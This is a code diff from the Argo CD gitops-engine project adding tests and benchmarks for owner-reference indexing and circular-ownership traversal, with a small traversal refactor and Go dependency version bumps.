||||
|
||||
// StatefulSet with volumeClaimTemplate named "data"
|
||||
sts := &appsv1.StatefulSet{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "apps/v1", Kind: kube.StatefulSetKind},
|
||||
ObjectMeta: metav1.ObjectMeta{UID: stsUID, Name: "web", Namespace: "default"},
|
||||
Spec: appsv1.StatefulSetSpec{
|
||||
VolumeClaimTemplates: []corev1.PersistentVolumeClaim{{
|
||||
ObjectMeta: metav1.ObjectMeta{Name: "data"},
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
// PVCs that match the StatefulSet's volumeClaimTemplate pattern: <template>-<sts>-<ordinal>
|
||||
// These have NO explicit owner references - the relationship is INFERRED
|
||||
pvc0 := &corev1.PersistentVolumeClaim{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "v1", Kind: kube.PersistentVolumeClaimKind},
|
||||
ObjectMeta: metav1.ObjectMeta{UID: "pvc-0-uid", Name: "data-web-0", Namespace: "default"},
|
||||
}
|
||||
pvc1 := &corev1.PersistentVolumeClaim{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "v1", Kind: kube.PersistentVolumeClaimKind},
|
||||
ObjectMeta: metav1.ObjectMeta{UID: "pvc-1-uid", Name: "data-web-1", Namespace: "default"},
|
||||
}
|
||||
|
||||
// Create cluster with all resources
|
||||
// Must add PersistentVolumeClaim to API resources since it's not in the default set
|
||||
cluster := newCluster(t, sts, pvc0, pvc1).WithAPIResources([]kube.APIResourceInfo{{
|
||||
GroupKind: schema.GroupKind{Group: "", Kind: kube.PersistentVolumeClaimKind},
|
||||
GroupVersionResource: schema.GroupVersionResource{Group: "", Version: "v1", Resource: "persistentvolumeclaims"},
|
||||
Meta: metav1.APIResource{Namespaced: true},
|
||||
}})
|
||||
err := cluster.EnsureSynced()
|
||||
require.NoError(t, err)
|
||||
|
||||
// Verify the parentUIDToChildren index contains the inferred relationships
|
||||
cluster.lock.RLock()
|
||||
defer cluster.lock.RUnlock()
|
||||
|
||||
pvc0Key := kube.ResourceKey{Group: "", Kind: kube.PersistentVolumeClaimKind, Namespace: "default", Name: "data-web-0"}
|
||||
pvc1Key := kube.ResourceKey{Group: "", Kind: kube.PersistentVolumeClaimKind, Namespace: "default", Name: "data-web-1"}
|
||||
|
||||
children, ok := cluster.parentUIDToChildren[stsUID]
|
||||
require.True(t, ok, "StatefulSet should have entry in parentUIDToChildren index")
|
||||
require.Contains(t, children, pvc0Key, "PVC data-web-0 should be in StatefulSet's children (inferred relationship)")
|
||||
require.Contains(t, children, pvc1Key, "PVC data-web-1 should be in StatefulSet's children (inferred relationship)")
|
||||
|
||||
// Also verify the OwnerRefs were set correctly on the PVCs
|
||||
pvc0Resource := cluster.resources[pvc0Key]
|
||||
require.NotNil(t, pvc0Resource)
|
||||
require.Len(t, pvc0Resource.OwnerRefs, 1, "PVC0 should have inferred owner ref")
|
||||
require.Equal(t, stsUID, pvc0Resource.OwnerRefs[0].UID, "PVC0 owner should be the StatefulSet")
|
||||
|
||||
pvc1Resource := cluster.resources[pvc1Key]
|
||||
require.NotNil(t, pvc1Resource)
|
||||
require.Len(t, pvc1Resource.OwnerRefs, 1, "PVC1 should have inferred owner ref")
|
||||
require.Equal(t, stsUID, pvc1Resource.OwnerRefs[0].UID, "PVC1 owner should be the StatefulSet")
|
||||
}
|
||||
|
||||
// TestStatefulSetPVC_WatchEvent_IndexUpdated verifies that when a PVC is added
|
||||
// via watch event (after initial sync), both the inferred owner reference AND
|
||||
// the parentUIDToChildren index are updated correctly.
|
||||
//
|
||||
// This tests the inline index update logic in setNode() which updates the index
|
||||
// immediately when inferred owner refs are added.
|
||||
func TestStatefulSetPVC_WatchEvent_IndexUpdated(t *testing.T) {
|
||||
stsUID := types.UID("sts-uid-456")
|
||||
|
||||
// StatefulSet with volumeClaimTemplate
|
||||
sts := &appsv1.StatefulSet{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "apps/v1", Kind: kube.StatefulSetKind},
|
||||
ObjectMeta: metav1.ObjectMeta{UID: stsUID, Name: "db", Namespace: "default"},
|
||||
Spec: appsv1.StatefulSetSpec{
|
||||
VolumeClaimTemplates: []corev1.PersistentVolumeClaim{{
|
||||
ObjectMeta: metav1.ObjectMeta{Name: "storage"},
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
// Create cluster with ONLY the StatefulSet - PVC will be added via watch event
|
||||
cluster := newCluster(t, sts).WithAPIResources([]kube.APIResourceInfo{{
|
||||
GroupKind: schema.GroupKind{Group: "", Kind: kube.PersistentVolumeClaimKind},
|
||||
GroupVersionResource: schema.GroupVersionResource{Group: "", Version: "v1", Resource: "persistentvolumeclaims"},
|
||||
Meta: metav1.APIResource{Namespaced: true},
|
||||
}})
|
||||
err := cluster.EnsureSynced()
|
||||
require.NoError(t, err)
|
||||
|
||||
// PVC that matches the StatefulSet's volumeClaimTemplate pattern
|
||||
// Added via watch event AFTER initial sync
|
||||
pvc := &corev1.PersistentVolumeClaim{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "v1", Kind: kube.PersistentVolumeClaimKind},
|
||||
ObjectMeta: metav1.ObjectMeta{UID: "pvc-watch-uid", Name: "storage-db-0", Namespace: "default"},
|
||||
}
|
||||
|
||||
// Simulate watch event adding the PVC
|
||||
cluster.lock.Lock()
|
||||
cluster.setNode(cluster.newResource(mustToUnstructured(pvc)))
|
||||
cluster.lock.Unlock()
|
||||
|
||||
cluster.lock.RLock()
|
||||
defer cluster.lock.RUnlock()
|
||||
|
||||
pvcKey := kube.ResourceKey{Group: "", Kind: kube.PersistentVolumeClaimKind, Namespace: "default", Name: "storage-db-0"}
|
||||
|
||||
// Verify the OwnerRef IS correctly set
|
||||
pvcResource := cluster.resources[pvcKey]
|
||||
require.NotNil(t, pvcResource, "PVC should exist in cache")
|
||||
require.Len(t, pvcResource.OwnerRefs, 1, "PVC should have inferred owner ref from StatefulSet")
|
||||
require.Equal(t, stsUID, pvcResource.OwnerRefs[0].UID, "Owner should be the StatefulSet")
|
||||
|
||||
// Verify the index IS updated for inferred refs via watch events
|
||||
children, indexUpdated := cluster.parentUIDToChildren[stsUID]
|
||||
require.True(t, indexUpdated, "Index should be updated when inferred refs are added via watch events")
|
||||
require.Contains(t, children, pvcKey, "PVC should be in StatefulSet's children (inferred relationship)")
|
||||
}
|
||||
|
||||
func TestEnsureSyncedSingleNamespace(t *testing.T) {
|
||||
obj1 := &appsv1.Deployment{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
@@ -2189,3 +2311,335 @@ func TestIterateHierarchyV2_NoDuplicatesCrossNamespace(t *testing.T) {
|
||||
assert.Equal(t, 1, visitCount["namespaced-child"], "namespaced child should be visited once")
|
||||
assert.Equal(t, 1, visitCount["cluster-child"], "cluster child should be visited once")
|
||||
}
|
||||
|
||||
func TestIterateHierarchyV2_CircularOwnerReference_NoStackOverflow(t *testing.T) {
|
||||
// Test that self-referencing resources (circular ownerReferences) don't cause stack overflow.
|
||||
// This reproduces the bug reported in https://github.com/argoproj/argo-cd/issues/26783
|
||||
// where a resource with an ownerReference pointing to itself caused infinite recursion.
|
||||
|
||||
// Create a cluster-scoped resource that owns itself (self-referencing)
|
||||
selfReferencingResource := &corev1.Namespace{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
APIVersion: "v1",
|
||||
Kind: "Namespace",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "self-referencing",
|
||||
UID: "self-ref-uid",
|
||||
ResourceVersion: "1",
|
||||
OwnerReferences: []metav1.OwnerReference{{
|
||||
APIVersion: "v1",
|
||||
Kind: "Namespace",
|
||||
Name: "self-referencing",
|
||||
UID: "self-ref-uid", // Points to itself
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
cluster := newCluster(t, selfReferencingResource).WithAPIResources([]kube.APIResourceInfo{{
|
||||
GroupKind: schema.GroupKind{Group: "", Kind: "Namespace"},
|
||||
GroupVersionResource: schema.GroupVersionResource{Group: "", Version: "v1", Resource: "namespaces"},
|
||||
Meta: metav1.APIResource{Namespaced: false},
|
||||
}})
|
||||
err := cluster.EnsureSynced()
|
||||
require.NoError(t, err)
|
||||
|
||||
visitCount := 0
|
||||
// This should complete without stack overflow
|
||||
cluster.IterateHierarchyV2(
|
||||
[]kube.ResourceKey{kube.GetResourceKey(mustToUnstructured(selfReferencingResource))},
|
||||
func(resource *Resource, _ map[kube.ResourceKey]*Resource) bool {
|
||||
visitCount++
|
||||
return true
|
||||
},
|
||||
)
|
||||
|
||||
// The self-referencing resource should be visited exactly once
|
||||
assert.Equal(t, 1, visitCount, "self-referencing resource should be visited exactly once")
|
||||
}
|
||||
|
||||
func TestIterateHierarchyV2_CircularOwnerChain_NoStackOverflow(t *testing.T) {
|
||||
// Test that circular ownership chains (A -> B -> A) don't cause stack overflow.
|
||||
// This is a more complex case where two resources own each other.
|
||||
|
||||
resourceA := &corev1.Namespace{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
APIVersion: "v1",
|
||||
Kind: "Namespace",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "resource-a",
|
||||
UID: "uid-a",
|
||||
ResourceVersion: "1",
|
||||
OwnerReferences: []metav1.OwnerReference{{
|
||||
APIVersion: "v1",
|
||||
Kind: "Namespace",
|
||||
Name: "resource-b",
|
||||
UID: "uid-b", // A is owned by B
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
resourceB := &corev1.Namespace{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
APIVersion: "v1",
|
||||
Kind: "Namespace",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "resource-b",
|
||||
UID: "uid-b",
|
||||
ResourceVersion: "1",
|
||||
OwnerReferences: []metav1.OwnerReference{{
|
||||
APIVersion: "v1",
|
||||
Kind: "Namespace",
|
||||
Name: "resource-a",
|
||||
UID: "uid-a", // B is owned by A
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
cluster := newCluster(t, resourceA, resourceB).WithAPIResources([]kube.APIResourceInfo{{
|
||||
GroupKind: schema.GroupKind{Group: "", Kind: "Namespace"},
|
||||
GroupVersionResource: schema.GroupVersionResource{Group: "", Version: "v1", Resource: "namespaces"},
|
||||
Meta: metav1.APIResource{Namespaced: false},
|
||||
}})
|
||||
err := cluster.EnsureSynced()
|
||||
require.NoError(t, err)
|
||||
|
||||
visitCount := make(map[string]int)
|
||||
// This should complete without stack overflow
|
||||
cluster.IterateHierarchyV2(
|
||||
[]kube.ResourceKey{kube.GetResourceKey(mustToUnstructured(resourceA))},
|
||||
func(resource *Resource, _ map[kube.ResourceKey]*Resource) bool {
|
||||
visitCount[resource.Ref.Name]++
|
||||
return true
|
||||
},
|
||||
)
|
||||
|
||||
// Each resource in the circular chain should be visited exactly once
|
||||
assert.Equal(t, 1, visitCount["resource-a"], "resource-a should be visited exactly once")
|
||||
assert.Equal(t, 1, visitCount["resource-b"], "resource-b should be visited exactly once")
|
||||
}
|
||||
|
||||
// BenchmarkSync_ParentToChildrenIndex measures the overhead of parent-to-children index
|
||||
// operations during sync. This benchmark was created to investigate performance regression
|
||||
// reported in https://github.com/argoproj/argo-cd/issues/26863
|
||||
//
|
||||
// The index is now maintained with O(1) operations (set-based) and updated inline
|
||||
// in setNode() for both explicit and inferred owner refs. No rebuild is needed.
|
||||
//
|
||||
// This benchmark measures sync performance with resources that have owner references
|
||||
// to quantify the index-building overhead at different scales.
|
||||
func BenchmarkSync_ParentToChildrenIndex(b *testing.B) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
totalResources int
|
||||
pctWithOwnerRefs int // Percentage of resources with owner references
|
||||
}{
|
||||
// Baseline: no owner refs (index operations are no-ops)
|
||||
{"1000res_0pctOwnerRefs", 1000, 0},
|
||||
{"5000res_0pctOwnerRefs", 5000, 0},
|
||||
{"10000res_0pctOwnerRefs", 10000, 0},
|
||||
|
||||
// Typical case: ~80% of resources have owner refs (pods owned by RS, RS owned by Deployment)
|
||||
{"1000res_80pctOwnerRefs", 1000, 80},
|
||||
{"5000res_80pctOwnerRefs", 5000, 80},
|
||||
{"10000res_80pctOwnerRefs", 10000, 80},
|
||||
|
||||
// Heavy case: all resources have owner refs
|
||||
{"1000res_100pctOwnerRefs", 1000, 100},
|
||||
{"5000res_100pctOwnerRefs", 5000, 100},
|
||||
{"10000res_100pctOwnerRefs", 10000, 100},
|
||||
|
||||
// Stress test: larger scale
|
||||
{"20000res_80pctOwnerRefs", 20000, 80},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
b.Run(tc.name, func(b *testing.B) {
|
||||
resources := make([]runtime.Object, 0, tc.totalResources)
|
||||
|
||||
// Create parent resources (deployments) - these won't have owner refs
|
||||
numParents := tc.totalResources / 10 // 10% are parents
|
||||
if numParents < 1 {
|
||||
numParents = 1
|
||||
}
|
||||
parentUIDs := make([]types.UID, numParents)
|
||||
for i := 0; i < numParents; i++ {
|
||||
uid := types.UID(fmt.Sprintf("deploy-uid-%d", i))
|
||||
parentUIDs[i] = uid
|
||||
resources = append(resources, &appsv1.Deployment{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "apps/v1", Kind: "Deployment"},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("deploy-%d", i),
|
||||
Namespace: "default",
|
||||
UID: uid,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// Create child resources (pods) - some with owner refs
|
||||
numChildren := tc.totalResources - numParents
|
||||
numWithOwnerRefs := (numChildren * tc.pctWithOwnerRefs) / 100
|
||||
|
||||
for i := 0; i < numChildren; i++ {
|
||||
pod := &corev1.Pod{
|
||||
TypeMeta: metav1.TypeMeta{APIVersion: "v1", Kind: "Pod"},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("pod-%d", i),
|
||||
Namespace: "default",
|
||||
UID: types.UID(fmt.Sprintf("pod-uid-%d", i)),
|
||||
},
|
||||
}
|
||||
|
||||
// Add owner refs to the first numWithOwnerRefs pods
|
||||
if i < numWithOwnerRefs {
|
||||
parentIdx := i % numParents
|
||||
pod.OwnerReferences = []metav1.OwnerReference{{
|
||||
APIVersion: "apps/v1",
|
||||
Kind: "Deployment",
|
||||
Name: fmt.Sprintf("deploy-%d", parentIdx),
|
||||
UID: parentUIDs[parentIdx],
|
||||
}}
|
||||
}
|
||||
|
||||
resources = append(resources, pod)
|
||||
}
|
||||
|
||||
cluster := newCluster(b, resources...)
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for n := 0; n < b.N; n++ {
|
||||
// sync() reinitializes resources, parentUIDToChildren, etc. at the start,
|
||||
// so no manual reset is needed here.
|
||||
err := cluster.sync()
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkUpdateParentUIDToChildren measures the cost of incremental index updates
|
||||
// during setNode. This is called for EVERY resource during sync. The index uses
|
||||
// set-based storage so add/remove operations are O(1) regardless of children count.
|
||||
func BenchmarkUpdateParentUIDToChildren(b *testing.B) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
childrenPerParent int
|
||||
}{
|
||||
{"10children", 10},
|
||||
{"50children", 50},
|
||||
{"100children", 100},
|
||||
{"500children", 500},
|
||||
{"1000children", 1000},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
b.Run(tc.name, func(b *testing.B) {
|
||||
cluster := newCluster(b)
|
||||
err := cluster.EnsureSynced()
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
|
||||
parentUID := types.UID("parent-uid")
|
||||
|
||||
// Pre-populate with existing children
|
||||
childrenSet := make(map[kube.ResourceKey]struct{})
|
||||
for i := 0; i < tc.childrenPerParent; i++ {
|
||||
childKey := kube.ResourceKey{
|
||||
Group: "",
|
||||
Kind: "Pod",
|
||||
Namespace: "default",
|
||||
Name: fmt.Sprintf("existing-child-%d", i),
|
||||
}
|
||||
childrenSet[childKey] = struct{}{}
|
||||
}
|
||||
cluster.parentUIDToChildren[parentUID] = childrenSet
|
||||
|
||||
// Create a new child key to add
|
||||
newChildKey := kube.ResourceKey{
|
||||
Group: "",
|
||||
Kind: "Pod",
|
||||
Namespace: "default",
|
||||
Name: "new-child",
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for n := 0; n < b.N; n++ {
|
||||
// Simulate adding a new child - O(1) set insertion
|
||||
cluster.addToParentUIDToChildren(parentUID, newChildKey)
|
||||
// Remove it so we can add it again in the next iteration
|
||||
cluster.removeFromParentUIDToChildren(parentUID, newChildKey)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkIncrementalIndexBuild measures the cost of incremental index updates
|
||||
// via addToParentUIDToChildren during sync. The index uses O(1) set-based operations.
|
||||
//
|
||||
// This benchmark was created to investigate issue #26863 and verify the fix.
|
||||
func BenchmarkIncrementalIndexBuild(b *testing.B) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
numParents int
|
||||
childrenPerParent int
|
||||
}{
|
||||
{"100parents_10children", 100, 10},
|
||||
{"100parents_50children", 100, 50},
|
||||
{"100parents_100children", 100, 100},
|
||||
{"1000parents_10children", 1000, 10},
|
||||
{"1000parents_100children", 1000, 100},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
// Benchmark incremental approach (what happens during setNode)
|
||||
b.Run(tc.name+"_incremental", func(b *testing.B) {
|
||||
cluster := newCluster(b)
|
||||
err := cluster.EnsureSynced()
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
|
||||
// Prepare parent UIDs and child keys
|
||||
type childInfo struct {
|
||||
parentUID types.UID
|
||||
childKey kube.ResourceKey
|
||||
}
|
||||
children := make([]childInfo, 0, tc.numParents*tc.childrenPerParent)
|
||||
for p := 0; p < tc.numParents; p++ {
|
||||
parentUID := types.UID(fmt.Sprintf("parent-%d", p))
|
||||
for c := 0; c < tc.childrenPerParent; c++ {
|
||||
children = append(children, childInfo{
|
||||
parentUID: parentUID,
|
||||
childKey: kube.ResourceKey{
|
||||
Kind: "Pod",
|
||||
Namespace: "default",
|
||||
Name: fmt.Sprintf("child-%d-%d", p, c),
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for n := 0; n < b.N; n++ {
|
||||
// Clear the index
|
||||
cluster.parentUIDToChildren = make(map[types.UID]map[kube.ResourceKey]struct{})
|
||||
|
||||
// Simulate incremental adds (O(1) set insertions)
|
||||
for _, child := range children {
|
||||
cluster.addToParentUIDToChildren(child.parentUID, child.childKey)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
2
gitops-engine/pkg/cache/mocks/ClusterCache.go
generated
vendored
2
gitops-engine/pkg/cache/mocks/ClusterCache.go
generated
vendored
@@ -563,7 +563,7 @@ func (_c *ClusterCache_IsNamespaced_Call) RunAndReturn(run func(gk schema.GroupK
|
||||
return _c
|
||||
}
|
||||
|
||||
// IterateHierarchyV2 provides a mock function with given fields: keys, action, orphanedResourceNamespace
|
||||
// IterateHierarchyV2 provides a mock function for the type ClusterCache
|
||||
func (_mock *ClusterCache) IterateHierarchyV2(keys []kube.ResourceKey, action func(resource *cache.Resource, namespaceResources map[kube.ResourceKey]*cache.Resource) bool) {
|
||||
_mock.Called(keys, action)
|
||||
return
|
||||
|
||||
16
gitops-engine/pkg/cache/resource.go
vendored
16
gitops-engine/pkg/cache/resource.go
vendored
@@ -76,16 +76,16 @@ func (r *Resource) toOwnerRef() metav1.OwnerReference {
|
||||
}
|
||||
|
||||
// iterateChildrenV2 is a depth-first traversal of the graph of resources starting from the current resource.
|
||||
func (r *Resource) iterateChildrenV2(graph map[kube.ResourceKey]map[types.UID]*Resource, ns map[kube.ResourceKey]*Resource, visited map[kube.ResourceKey]int, action func(err error, child *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool) {
|
||||
func (r *Resource) iterateChildrenV2(graph map[kube.ResourceKey]map[types.UID]*Resource, ns map[kube.ResourceKey]*Resource, actionCallState map[kube.ResourceKey]callState, action func(err error, child *Resource, namespaceResources map[kube.ResourceKey]*Resource) bool) {
|
||||
key := r.ResourceKey()
|
||||
if visited[key] == 2 {
|
||||
if actionCallState[key] == completed {
|
||||
return
|
||||
}
|
||||
// this indicates that we've started processing this node's children
|
||||
visited[key] = 1
|
||||
actionCallState[key] = inProgress
|
||||
defer func() {
|
||||
// this indicates that we've finished processing this node's children
|
||||
visited[key] = 2
|
||||
actionCallState[key] = completed
|
||||
}()
|
||||
children, ok := graph[key]
|
||||
if !ok || children == nil {
|
||||
@@ -94,13 +94,13 @@ func (r *Resource) iterateChildrenV2(graph map[kube.ResourceKey]map[types.UID]*R
|
||||
for _, child := range children {
|
||||
childKey := child.ResourceKey()
|
||||
// For cross-namespace relationships, child might not be in ns, so use it directly from graph
|
||||
switch visited[childKey] {
|
||||
case 1:
|
||||
switch actionCallState[childKey] {
|
||||
case inProgress:
|
||||
// Since we encountered a node that we're currently processing, we know we have a circular dependency.
|
||||
_ = action(fmt.Errorf("circular dependency detected. %s is child and parent of %s", childKey.String(), key.String()), child, ns)
|
||||
case 0:
|
||||
case notCalled:
|
||||
if action(nil, child, ns) {
|
||||
child.iterateChildrenV2(graph, ns, visited, action)
|
||||
child.iterateChildrenV2(graph, ns, actionCallState, action)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -57,14 +57,14 @@ func TestAuthReconcileWithMissingNamespace(t *testing.T) {
|
||||
|
||||
_, err := k.authReconcile(context.Background(), role, "/dev/null", cmdutil.DryRunNone)
|
||||
assert.Error(t, err)
|
||||
assert.True(t, errors.IsNotFound(err), "returned error wasn't not found")
|
||||
assert.True(t, errors.IsNotFound(err), "returned error should be resource not found")
|
||||
|
||||
roleBinding := testingutils.NewRoleBinding()
|
||||
roleBinding.SetNamespace(namespace)
|
||||
|
||||
_, err = k.authReconcile(context.Background(), roleBinding, "/dev/null", cmdutil.DryRunNone)
|
||||
assert.Error(t, err)
|
||||
assert.True(t, errors.IsNotFound(err), "returned error wasn't not found")
|
||||
assert.True(t, errors.IsNotFound(err), "returned error should be resource not found")
|
||||
|
||||
clusterRole := testingutils.NewClusterRole()
|
||||
clusterRole.SetNamespace(namespace)
|
||||
|
||||
34
go.mod
34
go.mod
@@ -45,6 +45,7 @@ require (
|
||||
github.com/gogits/go-gogs-client v0.0.0-20210131175652-1d7215cd8d85
|
||||
github.com/gogo/protobuf v1.3.2
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1
|
||||
github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8
|
||||
github.com/golang/protobuf v1.5.4
|
||||
github.com/google/btree v1.1.3
|
||||
github.com/google/gnostic-models v0.7.0 // indirect
|
||||
@@ -102,7 +103,7 @@ require (
|
||||
golang.org/x/term v0.41.0
|
||||
golang.org/x/time v0.15.0
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20260209200024-4cfbd4190f57
|
||||
google.golang.org/grpc v1.79.2
|
||||
google.golang.org/grpc v1.79.3
|
||||
google.golang.org/protobuf v1.36.11
|
||||
gopkg.in/yaml.v2 v2.4.0
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
@@ -111,7 +112,7 @@ require (
|
||||
k8s.io/apimachinery v0.34.0
|
||||
k8s.io/client-go v0.34.0
|
||||
k8s.io/code-generator v0.34.0
|
||||
k8s.io/klog/v2 v2.130.1
|
||||
k8s.io/klog/v2 v2.140.0
|
||||
k8s.io/kube-openapi v0.0.0-20250710124328-f3f2b991d03b
|
||||
k8s.io/kubectl v0.34.0
|
||||
k8s.io/utils v0.0.0-20250604170112-4c0f3b243397 // indirect
|
||||
@@ -146,20 +147,20 @@ require (
|
||||
github.com/PagerDuty/go-pagerduty v1.8.0 // indirect
|
||||
github.com/ProtonMail/go-crypto v1.1.6 // indirect
|
||||
github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20240116134246-a8cbe886bab0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.4
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.11
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.20 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.20 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.5 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.6 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.5
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.13
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.13
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.6 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.9 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.38.1 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.12 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.8
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.14 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.18 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.10
|
||||
github.com/aws/smithy-go v1.24.2
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/blang/semver/v4 v4.0.0 // indirect
|
||||
@@ -208,7 +209,6 @@ require (
|
||||
github.com/go-viper/mapstructure/v2 v2.5.0 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
|
||||
github.com/golang/glog v1.2.5 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 // indirect
|
||||
github.com/google/go-querystring v1.2.0 // indirect
|
||||
github.com/google/s2a-go v0.1.9 // indirect
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect
|
||||
@@ -314,7 +314,7 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/aws/aws-sdk-go-v2/service/codecommit v1.33.11
|
||||
github.com/aws/aws-sdk-go-v2/service/codecommit v1.33.12
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.8
|
||||
github.com/oklog/ulid/v2 v2.1.1 // indirect
|
||||
)
|
||||
|
||||
63
go.sum
63
go.sum
@@ -124,38 +124,38 @@ github.com/argoproj/pkg/v2 v2.0.1/go.mod h1:sdifF6sUTx9ifs38ZaiNMRJuMpSCBB9GulHf
|
||||
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
|
||||
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
|
||||
github.com/aws/aws-sdk-go v1.44.39/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.4 h1:10f50G7WyU02T56ox1wWXq+zTX9I1zxG46HYuG1hH/k=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.4/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11/go.mod h1:twF11+6ps9aNRKEDimksp923o44w/Thk9+8YIlzWMmo=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.11 h1:NdV8cwCcAXrCWyxArt58BrvZJ9pZ9Fhf9w6Uh5W3Uyc=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.11/go.mod h1:30yY2zqkMPdrvxBqzI9xQCM+WrlrZKSOpSJEsylVU+8=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19 h1:INUvJxmhdEbVulJYHI061k4TVuS3jzzthNvjqvVvTKM=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19/go.mod h1:FpZN2QISLdEBWkayloda+sZjVJL+e9Gl0k1SyTgcswU=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.20 h1:CNXO7mvgThFGqOFgbNAP2nol2qAWBOGfqR/7tQlvLmc=
|
||||
